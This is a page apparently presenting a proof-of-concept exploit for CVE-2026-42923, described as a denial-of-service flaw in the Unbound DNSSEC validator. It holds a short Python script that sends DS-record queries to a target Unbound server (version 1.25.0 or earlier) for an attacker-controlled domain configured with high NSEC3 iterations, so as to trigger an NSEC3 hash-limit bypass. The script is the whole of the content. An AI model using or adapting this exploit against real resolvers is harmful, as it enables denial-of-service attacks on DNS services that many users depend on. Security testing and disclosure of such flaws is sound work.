CVE-2026-42923: Unbound DNSSEC验证器DoS漏洞

import dns.query import dns.message # Proof of Concept for CVE-2026-42923 # This script sends a DNS query for a DS record to a target Unbound server. # To exploit this, the attacker must control a zone with high NSEC3 iterations. # The target Unbound version must be <= 1.25.0. def send_malicious_query(target_ip, domain): # Construct a DNS query for DS records (Delegation Signer) # This triggers the vulnerable negative cache lookup path qname = domain qtype = 'DS' query = dns.message.make_query(qname, qtype) try: response = dns.query.udp(query, target_ip, timeout=5) print(f"Query sent to {target_ip} for {domain}") print(f"Response: {response}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Replace with the target Unbound server IP TARGET = "127.0.0.1" # Replace with a domain under attacker's control configured with high NSEC3 iterations MALICIOUS_DOMAIN = "example.attacker-domain.com" print("[+] Sending crafted DNS query to trigger NSEC3 hash limit bypass...") send_malicious_query(TARGET, MALICIOUS_DOMAIN)